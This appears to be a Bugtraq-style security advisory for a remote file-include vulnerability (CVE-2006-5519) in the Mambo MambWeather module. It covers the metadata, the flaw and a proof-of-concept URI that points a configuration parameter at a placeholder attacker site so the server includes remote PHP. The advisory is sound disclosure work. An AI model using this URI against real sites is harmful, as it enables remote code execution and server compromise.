Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability

BID:20667

Info

Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability

Bugtraq ID: 20667
Class: Input Validation Error
CVE: CVE-2006-5519
Remote: Yes
Local: No
Published: Oct 22 2006 12:00AM
Updated: Apr 12 2007 10:51PM
Credit: h4ntu is credited with the discovery of this vulnerability.
Vulnerable: MambWeather MambWeather 1.8.1
Not Vulnerable:

Discussion

Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability

The Mambo MambWeather module is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

This issue affects version 1.8.1 and earlier.

Exploit / POC

Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path_to_mambo]/modules/MambWeather/Savant2/Savant2_Plugin_options.php?mosConfig_absolute_path=http://attacker's site

Solution / Fix

Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

References

Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability

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